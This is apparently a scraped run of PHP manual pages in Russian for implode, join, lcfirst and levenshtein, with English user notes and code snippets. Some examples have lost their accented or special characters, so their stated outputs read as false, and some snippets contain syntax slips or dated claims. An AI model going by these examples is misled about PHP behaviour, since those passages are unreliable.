function wrap_implode( $array, $before = '', $after = '', $separator = '' ){
  if( ! $array )  return '';
  return $before . implode("{$after}{$separator}{$before}", $array ) . $after;
}

echo wrap_implode(['path','to','file.php'], '/');
// "/path/to/file.php"

$pattern = '#'. wrap_implode([4,2,2], '\d{', '}', '[-.]') .'#';
echo $pattern, "\n";  // #\d{4}[-.]\d{2}[-.]\d{2}#
echo preg_replace( $pattern, '[REDACTED]', 'The UFO appeared between 2012-12-24 and 2013.01.06 every night.');
// 'The UFO appeared between [REDACTED] and [REDACTED] every night.

echo wrap_implode(['line','by','line'], '<b>', '</b>', '<br>  ');
// <b>line</b><br>  <b>by</b><br>  <b>line</b>

echo wrap_implode( ['<a href="">Menu Item 1</a>', '<a href="">Menu Item 2</a>',],
  "<li>", "</li>\n",
  "<li> | </li>\n",
);
/*
<li><a href="">Link1</a></li>
<li> | </li>
<li><a href="">Link2</a></li>
*/

?>
info at ensostudio dot ru 28-Aug-2020 05:32
<?php
 * Join pieces with a string recursively.
 *
 * @param mixed $glue String between pairs(glue) or an array pair's glue and key/value glue or $pieces.
 * @param iterable $pieces Pieces to implode (optional).
 * @return string Joined string
 */
function double_implode($glue, iterable $pieces = null): string
{
    $glue2 = null;
    if ($pieces === null) {
        $pieces = $glue;
        $glue = '';
    } elseif (is_array($glue)) {
        list($glue, $glue2) = $glue;
    }

    $result = [];
    foreach ($pieces as $key => $value) {
        $result[] = $glue2 === null ? $value : $key . $glue2 . $value;
    }
    return implode($glue, $result);
}
?>
Examples:
<?php
$array = ['a' => 1, 'b' => 2];
$str =  implode($array);
$str =  implode(', ', $array);
$str =  implode(['" ', '="'], $array);

$iterator = new ArrayIterator($array);
$str =  implode($iterator);
$str =  implode(', ', $iterator);
$str =  implode(['" ', '="'], $iterator);
?>
Honk der Hase 24-Apr-2020 05:43
If you want to implode an array as key-value pairs, this method comes in handy.
The third parameter is the symbol to be used between key and value.

<?php
function mapped_implode($glue, $array, $symbol = '=') {
    return implode($glue, array_map(
            function($k, $v) use($symbol) {
                return $k . $symbol . $v;
            },
            array_keys($array),
            array_values($array)
            )
        );
}

$arr = [
    'x'=> 5,
    'y'=> 7,
    'z'=> 99,
    'hello' => 'World',
    7 => 'Foo',
];

echo mapped_implode(', ', $arr, ' is ');

// output: x is 5, y is 7, z is 99, hello is World, 7 is Foo

?>
Rafael Pereira 02-Apr-2020 04:28
If you want to use a key inside array:

Example:
$arr=array(
array("id" => 1,"name" => "Test1"),
array("id" => 2,"name" => "Test2"),
);

echo implode_key(",",$arr, "name");
OUTPUT: Test1, Test2

function implode_key($glue, $arr, $key){
    $arr2=array();
    foreach($arr as $f){
        if(!isset($f[$key])) continue;
        $arr2[]=$f[$key];
    }
    return implode($glue, $arr2);
}
ASchmidt at Anamera dot net 23-Nov-2018 09:43
It's not obvious from the samples, if/how associative arrays are handled. The "implode" function acts on the array "values", disregarding any keys:

<?php
declare(strict_types=1);

$a = array( 'one','two','three' );
$b = array( '1st' => 'four', 'five', '3rd' => 'six' );

echo implode( ',', $a ),'/', implode( ',', $b );
?>

outputs:
one,two,three/four,five,six
admin at lanlink dot net dot au 15-Sep-2017 04:24
It is possible for an array to have numeric values, as well as string values. Implode will convert all numeric array elements to strings.

<?php
$test=implode(["one",2,3,"four",5.67]);
echo $test;
//outputs: "one23four5.67"
?>
Felix Rauch 30-Sep-2016 09:39
It might be worthwhile noting that the array supplied to implode() can contain objects, provided the objects implement the __toString() method.

Example:
<?php

class Foo
{
    protected $title;

    public function __construct($title)
    {
        $this->title = $title;
    }

    public function __toString()
    {
        return $this->title;
    }
}

$array = [
    new Foo('foo'),
    new Foo('bar'),
    new Foo('qux')
];

echo implode('; ', $array);
?>

will output:

foo; bar; qux
Anonymous 20-Jul-2015 11:55
null values are imploded too. You can use array_filter() to sort out null values.

<?php
$ar = array("hello", null, "world");
print(implode(',', $ar)); // hello,,world
print(implode(',', array_filter($ar, function($v){ return $v !== null; }))); // hello,world
?>
omar dot ajoue at kekanto dot com 18-Mar-2013 02:21
Can also be used for building tags or complex lists, like the following:

<?php

$elements = array('a', 'b', 'c');

echo "<ul><li>" . implode("</li><li>", $elements) . "</li></ul>";

?>

This is just an example, you can create a lot more just finding the right glue! ;)
Anonymous 26-Feb-2013 03:56
It may be worth noting that if you accidentally call implode on a string rather than an array, you do NOT get your string back, you get NULL:
<?php
var_dump(implode(':', 'xxxxx'));
?>
returns
NULL

This threw me for a little while.
masterandujar 03-Sep-2012 06:15
Even handier if you use the following:

<?php
$id_nums = array(1,6,12,18,24);

$id_nums = implode(", ", $id_nums);

$sqlquery = "Select name,email,phone from usertable where user_id IN ($id_nums)";

// $sqlquery becomes "Select name,email,phone from usertable where user_id IN (1,6,12,18,24)"
?>

Be sure to escape/sanitize/use prepared statements if you get the ids from users.
alexey dot klimko at gmail dot com 23-Jun-2011 05:04
If you want to implode an array of booleans, you will get a strange result:
<?php
var_dump(implode('',array(true, true, false, false, true)));
?>

Output:
string(3) "111"

TRUE became "1", FALSE became nothing.
houston_roadrunner at yahoo dot com 07-Apr-2009 11:50
it should be noted that an array with one or no elements works fine. for example:

<?php
    $a1 = array("1","2","3");
    $a2 = array("a");
    $a3 = array();

    echo "a1 is: '".implode("','",$a1)."'<br>";
    echo "a2 is: '".implode("','",$a2)."'<br>";
    echo "a3 is: '".implode("','",$a3)."'<br>";
?>

will produce:
===========
a1 is: '1','2','3'
a2 is: 'a'
a3 is: ''


Псевдоним implode

  • « implode
  • lcfirst »
  • PHP Manual
  • Функции для работы со строками
  • Псевдоним implode

join

(PHP 4, PHP 5, PHP 7, PHP 8)

join — Псевдоним implode()

Описание

Псевдоним функции implode().

User Contributed Notes

There are no user contributed notes for this page.


Преобразовывает первый символ строки в нижний регистр

  • « join
  • levenshtein »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает первый символ строки в нижний регистр

lcfirst

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

lcfirst — Преобразовывает первый символ строки в нижний регистр

Описание

lcfirst(string $string): string

Возвращает строку string, первый символ которой был преобразован в нижний регистр, если этот символ является ASCII-символом в диапазоне от "A" (0x41) до "Z" (0x5a).

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает результирующую строку.

Список изменений

Версия | Описание
8.2.0 | Приведение к единому регистру больше не зависит от настроек региональных установок, которые установили функцией setlocale(). Преобразовываются только символы кодировки ASCII.

Примеры

Пример #1 Пример использования lcfirst()

<?php
$foo = 'HelloWorld';
$foo = lcfirst($foo); // helloWorld

$bar = 'HELLO WORLD!';
$bar = lcfirst($bar); // hELLO WORLD!
$bar = lcfirst(strtoupper($bar)); // hELLO WORLD!
?>

Смотрите также

  • ucfirst() - Преобразовывает первый символ строки в верхний регистр
  • strtolower() - Преобразовывает строку в нижний регистр
  • strtoupper() - Преобразовывает строку в верхний регистр
  • ucwords() - Преобразовывает в верхний регистр первый символ каждого слова в строке

User Contributed Notes

phpnet at katylavallee dot com 02-Apr-2009 08:50
Easiest work-around I've found for <5.3:
<?php

$string = "CamelCase"
$string{0} = strtolower($string{0})
echo $string; // outputs camelCase

?>
ahlers_wim at hotmail dot com 22-Nov-2008 09:48
As of PHP release 6 direct reference modification is not permitted any more.
Reference modification is the process of manipulating characters within a string by means of the instruction such as:
$str[0] in the code line: $str[0] = strtolower($str[0]);

For this reason I have recoded the lcfirst function (on function_exists('lcfirst') === false) as follows:

<?php
if ( false === function_exists('lcfirst') ):
    function lcfirst( $str )
    { return (string)(strtolower(substr($str,0,1)).substr($str,1));}
endif;
?>

Remarks:
Also notice that I have used the more modern scope delimeters (if:-endif;) and I have also removed the unnecessary intermediate result. That is, the manipulation is returned directly.
alex aulbach 06-Oct-2008 09:20
In some cases maybe more useful?

 $lower = strtolower( substr($upper,0,1) ) . substr($upper,1);
harmor 05-May-2008 03:43
A slight modification from Northie's post here ( http://us2.php.net/manual/en/function.ucfirst.php#68443), where lcfirst may not exist in your PHP build:

<?php

if(false === function_exists('lcfirst'))
{
    /**
     * Make a string's first character lowercase
     *
     * @param string $str
     * @return string the resulting string.
     */
    function lcfirst( $str ) {
        $str[0] = strtolower($str[0]);
        return (string)$str;
    }
}

/* Tests */
echo var_dump(lcFirst(NULL)).'<br />';    /* string(0) ""  */
echo var_dump(lcFirst(''))  .'<br />';    /* string(0) ""  */
echo var_dump(lcFirst('S')) .'<br />';    /* string(1) "S" */
echo var_dump(lcFirst('E')) .'<br />';    /* string(0) "?" */
echo var_dump(lcFirst('Hello World!!!')); /* string(14) "hello World!!!"  */


Вычисляет расстояние Левенштейна между двумя строками

  • « lcfirst
  • localeconv »
  • PHP Manual
  • Функции для работы со строками
  • Вычисляет расстояние Левенштейна между двумя строками

levenshtein

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

levenshtein — Вычисляет расстояние Левенштейна между двумя строками

Описание

levenshtein(
string $string1,
string $string2,
int $insertion_cost = 1,
int $replacement_cost = 1,
int $deletion_cost = 1
): int

Расстояние Левенштейна - это минимальное количество вставок, замен и удалений символов, необходимое для преобразования string1 в string2. Сложность алгоритма равна O(m*n), где n и m - длины строк string1 и string2 (неплохо по сравнению с similar_text(), имеющей сложность O(max(n,m)**3), но всё же довольно много).

Если insertion_cost, replacement_cost и/или deletion_cost не равны 1, алгоритм адаптируется для выбора самых дешёвых преобразований. Например. если $insertion_cost + $deletion_cost < $replacement_cost, замены не будут выполняться, вместо этого будут выполняться вставки и удаления.

Список параметров

string1

Одна из строк, для которых вычисляется расстояние Левенштейна.

string2

Одна из строк, для которых вычисляется расстояние Левенштейна.

insertion_cost

Определяет стоимость вставки.

replacement_cost

Определяет стоимость замены.

deletion_cost

Определяет стоимость удаления.

Возвращаемые значения

Эта функция возвращает расстояние Левенштейна между двумя строками.

Список изменений

Версия | Описание
8.0.0 | До этой версии levenshtein() нужно было вызывать с двумя или пятью аргументами.
8.0.0 | До этой версии, levenshtein() возвращала значение -1, если одна из строк аргумента более 255 символов.

Примеры

Пример #1 Пример использования levenshtein()

<?php
// введённое слово с опечаткой
$input = 'carrrot';

// массив сверяемых слов
$words = array('apple','pineapple','banana','orange',
'radish','carrot','pea','bean','potato');

// кратчайшее расстояние пока ещё не найдено
$shortest = -1;

// проходим по словам для нахождения самого близкого варианта
foreach ($words as $word) {

// вычисляем расстояние между входным словом и текущим
$lev = levenshtein($input, $word);

// проверяем полное совпадение
if ($lev == 0) {

// это ближайшее слово (точное совпадение)
$closest = $word;
$shortest = 0;

// выходим из цикла - мы нашли точное совпадение
break;
}

// если это расстояние меньше следующего наименьшего расстояния
// ИЛИ если следующее самое короткое слово ещё не было найдено
if ($lev <= $shortest || $shortest < 0) {
// устанивливаем ближайшее совпадение и кратчайшее расстояние
$closest = $word;
$shortest = $lev;
}
}

echo "Вы ввели: $input\n";
if ($shortest == 0) {
echo "Найдено точное совпадение: $closest\n";
} else {
echo "Вы не имели в виду: $closest?\n";
}

?>

Результат выполнения приведённого примера:

Вы ввели: carrrot
Вы не имели в виду: carrot?

Смотрите также

  • soundex() - Возвращает ключ soundex для строки
  • similar_text() - Вычисляет степень похожести двух строк
  • metaphone() - Возвращает ключ metaphone для строки

User Contributed Notes

peratik at gmail dot com 16-Sep-2017 12:24
python get_close_matches equivalent:

function get_close_matches($str, $arr) {
    $closest = 1000;
    $word = false;
    foreach($arr as $w) {
        $po = levenshtein($str, $w);
        if ($po<$closest) {
            $closest = $po;
            $word = $w;
        }
    }
    return $word;
}
Johan Gennesson php at genjo dot fr 07-Sep-2016 12:49
Please, be aware that:

<?php
// Levenshtein Apostrophe (U+0027 &#39;) and Right Single Quotation Mark (U+2019 &#8217;)
echo levenshtein("'", "'");
?>

will output 3!
yhoko at yhoko dot com 25-Feb-2016 05:08
Note that this function might cause problems when working with multibyte charactes like in UTF-8. Example:

<?php
print( similar_text( 'ha', 'ha' ) ); // Returns 2 where only 1 character matches
?>
qbolec 05-Aug-2015 08:10
For the rare occassions,  where you want:
1. multibyte UTF-8 characters
2. linear memory consumption (that is O(n+m) , not O(n*m))
3. learn the string which is the longest common subsequence
4. reasonable (that is O(n*m)) time complexity
Consider this implementation:
<?php
class Strings
{
  public static function len($a){
    return mb_strlen($a,'UTF-8');
  }
  public static function substr($a,$x,$y=null){
    if($y===NULL){
      $y=self::len($a);
    }
    return mb_substr($a,$x,$y,'UTF-8');
  }
  public static function letters($a){
    $len = self::len($a);
    if($len==0){
      return array();
    }else if($len == 1){
      return array($a);
    }else{
      return Arrays::concat(
        self::letters(self::substr($a,0,$len>>1)),
        self::letters(self::substr($a,$len>>1))
      );
    }
  }
  private static function lcs_last_column(array $A,array $B){
    $al=count($A);
    $bl=count($B);
    $last_column = array();
    for($i=0;$i<=$al;++$i){
      $current_row = array();
      for($j=0;$j<=$bl;++$j){
        //$a[0,$i) vs $b[0,$j)
        if($i==0 || $j == 0){
          $v = 0;
        }else if($A[$i-1]===$B[$j-1]){
          $v = 1 + $last_row[$j-1];
        }else{
          $v = max($last_row[$j],$current_row[$j-1]);
        }
        $current_row[] = $v;
      }
      $last_column[] = $current_row[$bl];
      $last_row = $current_row;
    }
    return $last_column;
  }
  public static function lcs($a,$b){
    $A = self::letters($a);
    $B = self::letters($b);
    $bl=count($B);
    if($bl==0){
      return '';
    }else if($bl==1){
      return FALSE===array_search($B[0],$A,true)?'':$B[0];
    }
    $left=self::lcs_last_column($A,array_slice($B,0,$bl>>1));
    $right=array_reverse(self::lcs_last_column(array_reverse($A),array_reverse(array_slice($B,$bl>>1))));

    $best_i = 0;
    $best_lcs = 0;
    foreach($left as $i => $lcs_left){
      $option = $lcs_left + $right[$i];
      if($best_lcs < $option){
        $best_lcs = $option;
        $best_i = $i;
      }
    }
    return
      self::lcs(self::substr($a,0,$best_i), self::substr($b,0,$bl>>1)).
      self::lcs(self::substr($a,$best_i), self::substr($b,$bl>>1));
  }
?>
This is a classic implentation in which several tricks are used:
1. the strings are exploded into multi-byte characters in O(n lg n) time
2. instead of searching for the longest path in a precomputed two-dimensional array, we search for the best point which lays in the middle column. This is achieved by spliting the second string in half, and recursively calling the algorithm twice. The only thing we need from the recursive call are the values in the middle column. The trick is to return the last column from each recursive call, which is what we need for the left part, but requires one more trick for the right part - we simply mirror the strings and the array so that the last column is the first column. Then we just find the row which maximizes the sum of lenghts in each part.
3. one can prove that the time consumed by the algorithm is proportional to the area of the (imaginary) two-dimensional array, thus it is O(n*m).
WiLDRAGoN 15-Jul-2015 08:19
Some small changes allow you to calculate multiple words.

<?php

$input = array();
$dictionary  = array();
foreach ($input as $output) {
    $shortest = -1;
    foreach ($dictionary as $word) {
        $lev = levenshtein($output, $word);
        if ($lev == 0) {
            $closest = $word;
            $shortest = 0;
        }
        if ($lev <= $shortest || $shortest < 0) {
            $closest  = $word;
            $shortest = $lev;
        }
    }
    echo "Input word: $output\n";
    if ($shortest == 0) {
        echo "Exact match found: $closest\n";
    } else {
        echo "Did you mean: $closest?\n";
    }
}

?>
luciole75w at no dot spam dot gmail dot com 18-Nov-2013 02:25
The levenshtein function processes each byte of the input string individually. Then for multibyte encodings, such as UTF-8, it may give misleading results.

Example with a french accented word :
- levenshtein('notre', 'votre') = 1
- levenshtein('notre', 'notre') = 2 (huh ?!)

You can easily find a multibyte compliant PHP implementation of the levenshtein function but it will be of course much slower than the C implementation.

Another option is to convert the strings to a single-byte (lossless) encoding so that they can feed the fast core levenshtein function.

Here is the conversion function I used with a search engine storing UTF-8 strings, and a quick benchmark. I hope it will help.

<?php
// Convert an UTF-8 encoded string to a single-byte string suitable for
// functions such as levenshtein.
//
// The function simply uses (and updates) a tailored dynamic encoding
// (in/out map parameter) where non-ascii characters are remapped to
// the range [128-255] in order of appearance.
//
// Thus it supports up to 128 different multibyte code points max over
// the whole set of strings sharing this encoding.
//
function utf8_to_extended_ascii($str, &$map)
{
    // find all multibyte characters (cf. utf-8 encoding specs)
    $matches = array();
    if (!preg_match_all('/[\xC0-\xF7][\x80-\xBF]+/', $str, $matches))
        return $str; // plain ascii string

    // update the encoding map with the characters not already met
    foreach ($matches[0] as $mbc)
        if (!isset($map[$mbc]))
            $map[$mbc] = chr(128 + count($map));

    // finally remap non-ascii characters
    return strtr($str, $map);
}

// Didactic example showing the usage of the previous conversion function but,
// for better performance, in a real application with a single input string
// matched against many strings from a database, you will probably want to
// pre-encode the input only once.
//
function levenshtein_utf8($s1, $s2)
{
    $charMap = array();
    $s1 = utf8_to_extended_ascii($s1, $charMap);
    $s2 = utf8_to_extended_ascii($s2, $charMap);

    return levenshtein($s1, $s2);
}
?>

Results (for about 6000 calls)
- reference time core C function (single-byte) : 30 ms
- utf8 to ext-ascii conversion + core function : 90 ms
- full php implementation : 3000 ms
engineglue at gmail dot com 08-Jan-2012 08:05
I really like [the manual's] example for the use of the levenshtein function to match against an array. I ran into the need to specify the sensitivity of the result. There are circumstances when you want it to return false if the match is way out of line. I wouldn't want "marry had a little lamb" to match with "saw viii" simply because it was the best match in the array. Hence the need for sensitivity:

<?php
    function wordMatch($words, $input, $sensitivity){
        $shortest = -1;
        foreach ($words as $word) {
            $lev = levenshtein($input, $word);
            if ($lev == 0) {
                $closest = $word;
                $shortest = 0;
                break;
            }
            if ($lev <= $shortest || $shortest < 0) {
                $closest  = $word;
                $shortest = $lev;
            }
        }
        if($shortest <= $sensitivity){
            return $closest;
        } else {
            return 0;
        }
    }

    $word = 'PINEEEEAPPLE';

    $words  = array('apple','pineapple','banana','orange',
                    'radish','carrot','pea','bean','potato');

    echo wordMatch($words, strtolower($word), 2);
?>
Chaim Chaikin 02-Nov-2011 11:40
As regards to Example #1 above, would it not be more efficient to first use a simple php == comparison to check if the strings are equal even before testing the word with levenshtein().

Something like this:

<?php
// input misspelled word
$input = 'carrrot';

// array of words to check against
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// no shortest distance found, yet
$shortest = -1;

// loop through words to find the closest
foreach ($words as $word) {

    // check for an exact match
    if ($input == $word) {

        // closest word is this one (exact match)
        $closest = $word;
        $shortest = 0;

        // break out of the loop; we've found an exact match
        break;
    }

    // calculate the distance between the input word,
    // and the current word
    $lev = levenshtein($input, $word);

    // if this distance is less than the next found shortest
    // distance, OR if a next shortest word has not yet been found
    if ($lev <= $shortest || $shortest < 0) {
        // set the closest match, and shortest distance
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "Input word: $input\n";
if ($shortest == 0) {
    echo "Exact match found: $closest\n";
} else {
    echo "Did you mean: $closest?\n";
}

?>
paulrowe at iname dot com 27-Aug-2008 05:58
[EDITOR'S NOTE: original post and 2 corrections combined into 1 -- mgf]

Here is an implementation of the Levenshtein Distance calculation that only uses a one-dimensional array and doesn't have a limit to the string length. This implementation was inspired by maze generation algorithms that also use only one-dimensional arrays.

I have tested this function with two 532-character strings and it completed in 0.6-0.8 seconds.

<?php
/*
* This function starts out with several checks in an attempt to save time.
*   1.  The shorter string is always used as the "right-hand" string (as the size of the array is based on its length).
*   2.  If the left string is empty, the length of the right is returned.
*   3.  If the right string is empty, the length of the left is returned.
*   4.  If the strings are equal, a zero-distance is returned.
*   5.  If the left string is contained within the right string, the difference in length is returned.
*   6.  If the right string is contained within the left string, the difference in length is returned.
* If none of the above conditions were met, the Levenshtein algorithm is used.
*/
function LevenshteinDistance($s1, $s2)
{
  $sLeft = (strlen($s1) > strlen($s2)) ? $s1 : $s2;
  $sRight = (strlen($s1) > strlen($s2)) ? $s2 : $s1;
  $nLeftLength = strlen($sLeft);
  $nRightLength = strlen($sRight);
  if ($nLeftLength == 0)
    return $nRightLength;
  else if ($nRightLength == 0)
    return $nLeftLength;
  else if ($sLeft === $sRight)
    return 0;
  else if (($nLeftLength < $nRightLength) && (strpos($sRight, $sLeft) !== FALSE))
    return $nRightLength - $nLeftLength;
  else if (($nRightLength < $nLeftLength) && (strpos($sLeft, $sRight) !== FALSE))
    return $nLeftLength - $nRightLength;
  else {
    $nsDistance = range(1, $nRightLength + 1);
    for ($nLeftPos = 1; $nLeftPos <= $nLeftLength; ++$nLeftPos)
    {
      $cLeft = $sLeft[$nLeftPos - 1];
      $nDiagonal = $nLeftPos - 1;
      $nsDistance[0] = $nLeftPos;
      for ($nRightPos = 1; $nRightPos <= $nRightLength; ++$nRightPos)
      {
        $cRight = $sRight[$nRightPos - 1];
        $nCost = ($cRight == $cLeft) ? 0 : 1;
        $nNewDiagonal = $nsDistance[$nRightPos];
        $nsDistance[$nRightPos] =
          min($nsDistance[$nRightPos] + 1,
              $nsDistance[$nRightPos - 1] + 1,
              $nDiagonal + $nCost);
        $nDiagonal = $nNewDiagonal;
      }
    }
    return $nsDistance[$nRightLength];
  }
}
?>
luka8088 at gmail dot com 28-May-2008 01:03
Simple levenshtein function without string length limit ...

<?php

function levenshtein2($str1, $str2, $cost_ins = null, $cost_rep = null, $cost_del = null) {
    $d = array_fill(0, strlen($str1) + 1, array_fill(0, strlen($str2) + 1, 0));
    $ret = 0;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        $d[$i][0] = $i;
    for ($j = 1; $j < strlen($str2) + 1; $j++)
        $d[0][$j] = $j;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        for ($j = 1; $j < strlen($str2) + 1; $j++) {
            $c = 1;
            if ($str1{$i - 1} == $str2{$j - 1})
                $c = 0;
            $d[$i][$j] = min($d[$i - 1][$j] + 1, $d[$i][$j - 1] + 1, $d[$i - 1][$j - 1] + $c);
            $ret = $d[$i][$j];
        }

    return $ret;
}

?>
atx dot antrax at gmail dot com 17-Apr-2008 02:42
I have made a function that removes the length-limit of levenshtein function and ajust the result with similar_text:

<?php
function _similar($str1, $str2) {
    $strlen1=strlen($str1);
    $strlen2=strlen($str2);
    $max=max($strlen1, $strlen2);

    $splitSize=250;
    if($max>$splitSize)
    {
        $lev=0;
        for($cont=0;$cont<$max;$cont+=$splitSize)
        {
            if($strlen1<=$cont || $strlen2<=$cont)
            {
                $lev=$lev/($max/min($strlen1,$strlen2));
                break;
            }
            $lev+=levenshtein(substr($str1,$cont,$splitSize), substr($str2,$cont,$splitSize));
        }
    }
    else
    $lev=levenshtein($str1, $str2);

    $porcentage= -100*$lev/$max+100;
    if($porcentage>75)//Ajustar con similar_text
    similar_text($str1,$str2,$porcentage);

    return $porcentage;
}
?>
dale3h 12-Feb-2008 08:52
Using PHP's example along with Patrick's comparison percentage function, I have come up with a function that returns the closest word from an array, and assigns the percentage to a referenced variable:

<?php
  function closest_word($input, $words, &$percent = null) {
    $shortest = -1;
    foreach ($words as $word) {
      $lev = levenshtein($input, $word);

      if ($lev == 0) {
        $closest = $word;
        $shortest = 0;
        break;
      }

      if ($lev <= $shortest || $shortest < 0) {
        $closest  = $word;
        $shortest = $lev;
      }
    }

    $percent = 1 - levenshtein($input, $closest) / max(strlen($input), strlen($closest));

    return $closest;
  }
?>

Usage:
<?php
  $input = 'carrrot';
  $words = array('apple','pineapple','banana','orange',
                 'radish','carrot','pea','bean','potato');

  $percent = null;
  $found = closest_word($input, $words, $percent);

  printf('Closest word to "%s": %s (%s%% match)', $input, $found, round($percent * 100, 2));
?>

I found that lowercasing the array prior to comparing yields a better comparison when the case is not of importance, for example: comparing a user-inputted category to a list of existing categories.

I also found that when the percentage was above 75%, it was usually the match that I was looking for.
carey at NOSPAM dot internode dot net dot au 28-Oct-2006 07:06
I have found that levenshtein is actually case-sensitive (in PHP 4.4.2 at least).

<?php
$distance=levenshtein('hello','ELLO');
echo "$distance";
?>

Outputs: "5", instead of "1". If you are implementing a fuzzy search feature that makes use of levenshtein, you will probably need to find a way to work around this.
dinesh AT dinsoft DOT net 17-Mar-2006 03:18
Here is a string resynch function:

<?php
// Trouve les operations a effectuer pour modifier $b en $a en exploitant leurs similitudes (Finds the operations required to change $b to $a)
// Identique a la fonction Resynch Compare de Hex Workshop
//
// Parametres:
//      $a Premiere chaine (cible, target)
//      $b Seconde chaine (source)
//      $l Nombre d'octets devant correspondre pour etre consides comme un bloc similaire (number of matching bytes required)
//      $s Distance maximale dans laquelle les blocs similaires sont cherches (search window)
//
// Retourne:
//      Array
//              Array
//                      [0] Operation: + Add , - Del , / Replace, = Match
//                      [1] Source offset
//                      [2] Source count
//                      [3] Target offset
//                      [4] Target count
//
function str_resynch($a,$b,$l=32,$s=2048) {
        $r=array();
        for($i=0,$c=strlen($a),$cc=strlen($b),$ii=0,$z=$s-1,$z2=($z<<1)+1; $i<$c; $i++) {
                $d=$i-$z;
                $d=($d<$ii)?substr($b,$ii,$z2-$ii+$d):substr($b,$d,$z2);

                $p=strpos($d,$a{$i});
                $n=0;
                while ($p!==FALSE) {
                        $m=1;
                        $bi=$i;
                        $bp=$p;
                        $p+=$ii;
                        while ((++$i<$c) && (++$p<$cc)) {
                                if ($a{$i}!=$b{$p}) break;
                                $m++;
                        }
                        if ($m<$l) {
                                $i=$bi;
                                $n=$bp+1;
                                $p=@strpos($d,$a{$i},$n);
                        }
                        else {
                                $i--;
                                $r[]=array($bi,$bp+$ii,$m); // offset a, offset b, Count
                                $ii=$p;
                                break;
                        }
                }
        }

        if (!count($r)) return ($cc)?array('/',0,$c,0,$cc):array(array('+',0,$c,0,0));

        $o=array();
        $bi=0;
        $bp=0;
        for($i=0,$m=count($r);$i<$m;$i++) {
                if ($r[$i][0]!=$bi) {
                        if ($r[$i][1]!=$bp) {
                                // Replace
                                $o[]=array('/',$bi,$r[$i][0]-$bi,$bp,$r[$i][1]-$bp);
                                $bi=$r[$i][0];
                                $bp=$r[$i][1];
                        }
                        else {
                                // Insertion
                                $o[]=array('+',$bi,$r[$i][0]-$bi,$bp,0);
                                $bi=$r[$i][0];
                        }
                }
                elseif ($r[$i][1]!=$bp) {
                        // Delete
                        $o[]=array('-',$bi,0,$bp,$r[$i][1]-$bp);
                        $bp=$r[$i][1];
                }

                // Match
                $o[]=array('=',$r[$i][0],$r[$i][2],$r[$i][1],$r[$i][2]);
                $bi+=$r[$i][2];
                $bp+=$r[$i][2];
        }

        if ($c!=$bi) {
                if ($cc!=$bp) $o[]=array('/',$bi,$c-$bi,$bp,$cc-$bp);
                else $o[]=array('+',$bi,$c-$bi,$bp,0);
        }
        elseif ($cc!=$bp) $o[]=array('-',$bi,0,$bp,$cc-$bp);

        return $o;
}
?>
june05 at tilo-hauke dot de 06-Jun-2005 12:44
//levenshtein for arrays
function array_levenshtein($array1,$array2)
         {   $aliases= array_flip(array_values(array_unique(array_merge($array1,$array2))));
             if(count($aliases)>255) return -1;
             $stringA=''; $stringB='';
             foreach($array1 as $entry) $stringA.=chr($aliases[$entry]);
             foreach($array2 as $entry) $stringB.=chr($aliases[$entry]);
             return levenshtein($stringA,$stringB);
         }

// e.g. use array_levenshtein to detect special expressions in unser-inputs

echo array_levenshtein(split(" ", "my name is xxx"), split(" ","my name is levenshtein"));

//output: 1
justin at visunet dot ie 05-Apr-2005 07:46
<?php

    /*********************************************************************
    * The below func, btlfsa, (better than levenstien for spelling apps)
    * produces better results when comparing words like haert against
    * haart and heart.
    *
    * For example here is the output of levenshtein compared to btlfsa
    * when comparing 'haert' to 'herat, haart, heart, harte'
    *
    * btlfsa('haert','herat'); output is.. 3
    * btlfsa('haert','haart'); output is.. 3
    * btlfsa('haert','harte'); output is.. 3
    * btlfsa('haert','heart'); output is.. 2
    *
    * levenshtein('haert','herat'); output is.. 2
    * levenshtein('haert','haart'); output is.. 1
    * levenshtein('haert','harte'); output is.. 2
    * levenshtein('haert','heart'); output is.. 2
    *
    * In other words, if you used levenshtein, 'haart' would be the
    * closest match to 'haert'. Where as, btlfsa sees that it should be
    * 'heart'
    */

    function btlfsa($word1,$word2)
    {
        $score = 0;

        // For each char that is different add 2 to the score
        // as this is a BIG difference

        $remainder  = preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word1)."]/i",'',$word2);
        $remainder .= preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word2)."]/i",'',$word1);
        $score      = strlen($remainder)*2;

        // Take the difference in string length and add it to the score
        $w1_len  = strlen($word1);
        $w2_len  = strlen($word2);
        $score  += $w1_len > $w2_len ? $w1_len - $w2_len : $w2_len - $w1_len;

        // Calculate how many letters are in different locations
        // And add it to the score i.e.
        //
        // h e a r t
        // 1 2 3 4 5
        //
        // h a e r t     a e        = 2
        // 1 2 3 4 5   1 2 3 4 5
        //

        $w1 = $w1_len > $w2_len ? $word1 : $word2;
        $w2 = $w1_len > $w2_len ? $word2 : $word1;

        for($i=0; $i < strlen($w1); $i++)
        {
            if ( !isset($w2[$i]) || $w1[$i] != $w2[$i] )
            {
                $score++;
            }
        }

        return $score;
    }

    // *************************************************************
    // Here is a full code example showing the difference

    $misspelled = 'haert';

    // Imagine that these are sample suggestions thrown back by soundex or metaphone..
    $suggestions = array('herat', 'haart', 'heart', 'harte');

    // Firstly order an array based on levenshtein
    $levenshtein_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $levenshtein_ordered[$suggestion] = levenshtein($misspelled,$suggestion);
    }
    asort($levenshtein_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by levenshtein...</b><ul><pre>";
    print_r($levenshtein_ordered);
    print "</pre></ul>";

    // Secondly order an array based on btlfsa
    $btlfsa_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $btlfsa_ordered[$suggestion] = btlfsa($misspelled,$suggestion);
    }
    asort($btlfsa_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by btlfsa...</b><ul><pre>";
    print_r($btlfsa_ordered);
    print "</pre></ul>";

?>
mcreuzer at r-world dot com 07-Mar-2005 09:01
I am using the Levenshtein distance to SORT my search results.

I have a search page for peoples names. I do a SOUNDEX() search on the name in mysql. MySQL SOUNDEX() will perform the "fuzzy" search for me.

